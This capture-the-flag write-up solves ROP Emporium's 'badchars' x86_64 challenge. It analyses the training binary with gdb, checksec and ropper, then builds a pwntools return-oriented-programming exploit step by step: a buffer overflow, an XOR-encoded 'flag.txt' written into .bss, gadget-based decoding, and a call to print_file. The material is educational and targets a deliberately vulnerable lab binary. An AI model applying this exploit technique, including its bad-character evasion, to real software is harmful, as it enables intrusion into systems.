ROP Emporium - badchars (x86_64)
Introduction
badchars is the fifth challenge of ROP Emporium! To solve this challenge we will have to use the write primitive from the previous challenge (write4) in order to write the flag.txt
string in the memory but, we will also have to deal with a set of bad characters.
Challenge Description
Dealing with bad characters is frequently necessary in exploit development, you’ve probably had to deal with them before while encoding shellcode. “Badchars” are the reason that encoders such as shikata-ga-nai exist. When constructing your ROP chain remember that the badchars apply to every character you use, not just parameters but addresses too. To mitigate the need for too much RE the binary will list its badchars when you run it.
Binary Analysis
Let’s start with the file
command.
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped
As always, we have a x86_64 not stripped ELF Executable.
Let’s also use checksec
to check for any protection mechanisms.
1[*] 'badchars'
2 Arch: amd64-64-little
3 RELRO: Partial RELRO
4 Stack: No canary found
5 NX: NX enabled
6 PIE: No PIE (0x400000)
7 RUNPATH: b'.'
The binary has NX (Non Executable stack) enabled in order to prevent us from preforming a ret2shellcode
attack.
Let’s also run the binary:
badchars by ROP Emporium
x86_64
badchars are: 'x', 'g', 'a', '.'
>
It prints a list of badchars and then prompts for input.
In the challenge archive there is also the libbadchars.so
shared object
libbadchars.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=2a0c29dc645fb4176ba64218dd458330b4591db5, not stripped
which is preloaded into the binary.
ldd badchars
linux-vdso.so.1 (0x00007ffcaeb4c000)
libbadchars.so => ./libbadchars.so (0x00007f6fe16c0000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6fe14d8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6fe18c8000)
If you want to expand your knowledge on shared libraries you should read this article.
To complete the analysis we will utilize GDB to find the functions used in the library & binary.
gdb -q libbadchars.so
To list all the functions:
inf func (info functions)
There is the common & vulnerable pwnme
function and the print_file
which as we know from the previous challenge prints the content of a file (given that we supply a valid filename as the 1st argument ).
Let’s load the binary on gdb to inspect it too.
gdb -q badchars
To list all the functions:
inf func (info functions)
The pwnme
and print_file
functions are loaded in the PLT which means that they are loaded from the libbadchars.so
shared library.
If you want to learn more on Dynamic Linking & Lazy Binding with PLT & GOT, I suggest that you read this article
There are also the main
, usefulFunction
and usefulGadgets
functions. The usefulFunction
is not any useful as we know from the previous challenge. In the usefulGadgets
function there are some probably useful gadgets which will help us solve the challenge.
usefulGadgets() Analysis
The usefulGadgets
function contains a mov [r13], r12
gadget which we may use to copy the flag.txt
string into process’s virtual address space. As it stores the value of the %r12
in memory, to the address given in r13
. There is also a xor byte ptr [r15], r14b
gadget which XOR’s a byte of %r14
with %r15
.
If you want to learn about XOR I suggest that you check the
General
section of challenges in Cryptohack
Exploit Strategy
To solve the challenge we have to call the print_file()
function with flag.txt
as the 1st argument.
The problem is that the flag.txt
string is not included in the binary so we have to construct a write primitive in order to write the string into an ELF segment.
To achieve this we can utilize the mov [r13], r12
from the usefulGadgets
function in combination with a pop r12; pop r13; ret
gadget in order to populate those registers with the appropriate values.
To avoid the bad characters we can use the xor byte ptr [r15], r14b
gadget. We utilize this gadget by sending a XORed version of flag.txt
string with the appropriate key to vanish the a
, g
, x
and .
characters and then XOR it again using the gadget to recover the original string.
(We will also need a pop r14, r15; ret
gadget to populate the previously mentioned registers.)
We can explain that by using the properties of XOR.
( The XOR operator is denoted by ⊕
)
Commutative: A ⊕ B = B ⊕ A
Associative: A ⊕ (B ⊕ C) = (A ⊕ B) ⊕ C
Identity: A ⊕ 0 = A
Self-Inverse: A ⊕ A = 0
Let A our original flag.txt
string and B our key
:
A ⊕ B = AB
, (AB is the string that we will write into the memory.)
Then if we use the gadget to xor it with the key:
AB ⊕ B = A
If we take advantage of the Self-Inverse + Identity Property:
B ⊕ B = 0
, so A ⊕ 0 = A
. Yay! we recovered our plaintext!
Last but not least, we also need a pop rdi; ret
gadget in order to pass the flag.txt
string to the print_file()
function.
If you want to learn more on register usage on 64-bit architrcture you should read this cheatsheet.
Finding where to write.
We can’t start building our exploit without knowing where we are going to write in memory. We will use a tool called rabin2
which is part of the radare2
suite to gather information about the ELF sections.
rabin2 -S write4
The .bss
section is the ideal candidate as:
- We have Read - Write permissions on it.
- It’s size is
0x8
bytes, exactly the size of theflag.txt
string. .bss
contains uninitialized variables so there would be the minimun impact on the binary’s execution.
If you want to learn more on the ELF format you should read this.
Building the Exploit
Let’s start with a template.
1from pwn import *
2
3elf = context.binary = ELF("badchars")
4rop = ROP(elf)
5
6p = process(elf.path)
7
8offset = 40
9
10payload = b'A' * offset
11
12p.recvuntil(b'> ')
13p.sendline(payload)
14p.interactive()
Use ropper to find the mov [r13], r12; ret;
, pop r12; pop r13; pop r14; pop r15; ret;
, xor byte ptr [r15], r14b
and gadgets. (We could also copy their addresses from GDB)
ropper -f badchars --search "mov [r13], r12"
1[INFO] Searching for gadgets: mov [r13], r12
2
3[INFO] File: badchars
40x0000000000400634: mov qword ptr [r13], r12; ret;
ropper -f badchars --search "pop r12; pop r13; pop r14; pop r15; ret"
1[INFO] Searching for gadgets: pop r12; pop r13; pop r14; pop r15; ret
2
3[INFO] File: badchars
40x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
ropper -f badchars --search "xor [r15], r14b; ret"
1[INFO] Searching for gadgets: xor [r15], r14b; ret
2
3[INFO] File: badchars
40x0000000000400628: xor byte ptr [r15], r14b; ret;
Let’s add the gadgets, the .bss address, the string we want to write in the .bss
and a list of the badchars to our exploit
1from pwn import *
2
3elf = context.binary = ELF("badchars")
4rop = ROP(elf)
5p = process(elf.path)
6
7offset = 40
8
9# Gadgets
10
11pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
12mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
13xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
14
15bss_addr = 0x601038
16data2write = 'flag.txt'
17badchars = ['x', 'g', 'a', '.']
18
19payload = b'A' * offset
20
21p.recvuntil(b'> ')
22p.sendline(payload)
23p.interactive()
Next we should implement the XOR Operation.
1from pwn import *
2
3elf = context.binary = ELF("badchars")
4rop = ROP(elf)
5p = process(elf.path)
6
7def xor_string(string, key):
8 xor_indxs =[]
9 output = ""
10 for indx, char in enumerate(string):
11 if char in badchars:
12 nchar = chr(ord(char) ^ key)
13 output += nchar
14 xor_indxs.append(indx)
15 continue
16 output += char
17 return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26
27bss_addr = 0x601038
28data2write = 'flag.txt'
29badchars = ['x', 'g', 'a', '.']
30xor_key = 2 # Just pick a random key.
31
32xoredstr, xor_offsets = xor_string(data2write, xor_key)
33
34payload = b'A' * offset
35
36p.recvuntil(b'> ')
37p.sendline(payload)
38p.interactive()
Implement the write primitive.
1from pwn import *
2
3elf = context.binary = ELF("badchars")
4rop = ROP(elf)
5p = process(elf.path)
6
7def xor_string(string, key):
8 xor_indxs =[]
9 output = ""
10 for indx, char in enumerate(string):
11 if char in badchars:
12 nchar = chr(ord(char) ^ key)
13 output += nchar
14 xor_indxs.append(indx)
15 continue
16 output += char
17 return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26
27bss_addr = 0x601038
28data2write = 'flag.txt'
29badchars = ['x', 'g', 'a', '.']
30xor_key = 2 # Just pick a random key.
31
32xoredstr, xor_offsets = xor_string(data2write, xor_key)
33
34# Stage 1 - Write Data into the .bss
35
36payload = b'A' * offset
37payload += pop_r12_r15
38payload += xoredstr # Populate r12 with the xored string.
39payload += p64(bss_addr) # Populate r13 with .bss address.
40payload += p64(0xdeadbeefdeadbeef) # Junk for r14
41payload += p64(0xdeadbeefdeadbeef) # Junk for r15
42payload += mov # Preform the write.
43
44p.recvuntil(b'> ')
45p.sendline(payload)
46p.interactive()
Implement the inversion of the XOR operation & Call the print_file function.
1from pwn import *
2
3elf = context.binary = ELF("badchars")
4rop = ROP(elf)
5p = process(elf.path)
6
7def xor_string(string, key):
8 xor_indxs =[]
9 output = ""
10 for indx, char in enumerate(string):
11 if char in badchars:
12 nchar = chr(ord(char) ^ key)
13 output += nchar
14 xor_indxs.append(indx)
15 continue
16 output += char
17 return bytes(output.encode('latin')), xor_indxs
18
19offset = 40
20
21# Gadgets
22
23pop_r12_r15 = p64(0x40069c) # pop r12; pop r13; pop r14; pop r15; ret;
24mov = p64(0x400634) # mov qword ptr [r13], r12; ret;
25xor = p64(0x400628) # xor byte ptr [r15], r14b; ret;
26pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
27
28bss_addr = 0x601038
29data2write = 'flag.txt'
30badchars = ['x', 'g', 'a', '.']
31xor_key = 2 # Just pick a random key.
32
33xoredstr, xor_offsets = xor_string(data2write, xor_key)
34
35# Stage 1 - Write Data into the .bss
36
37payload = b'A' * offset
38payload += pop_r12_r15
39payload += xoredstr # Populate r12 with the xored string.
40payload += p64(bss_addr) # Populate r13 with .bss address.
41payload += p64(0xdeadbeefdeadbeef) # Junk for r14
42payload += p64(0xdeadbeefdeadbeef) # Junk for r15
43payload += mov # Preform the write.
44
45# Stage 2 - Inverse the XOR Operation
46
47for indx in xor_offsets:
48 payload += pop_r12_r15
49 payload += p64(0xdeadbeefdeadbeef) # Junk for r12
50 payload += p64(0xdeadbeefdeadbeef) # Junk for r13
51 payload += p64(xor_key) # Populate r14 with the xor key.
52 payload += p64(bss_addr + indx) # Populate r15 with a byte of the ciphertext
53 payload += xor
54
55# Stage 3 - Call the print_file function
56
57payload += p64(pop_rdi)
58payload += p64(bss_addr)
59payload += p64(elf.plt.print_file)
60
61p.recvuntil(b'> ')
62p.sendline(payload)
63p.interactive()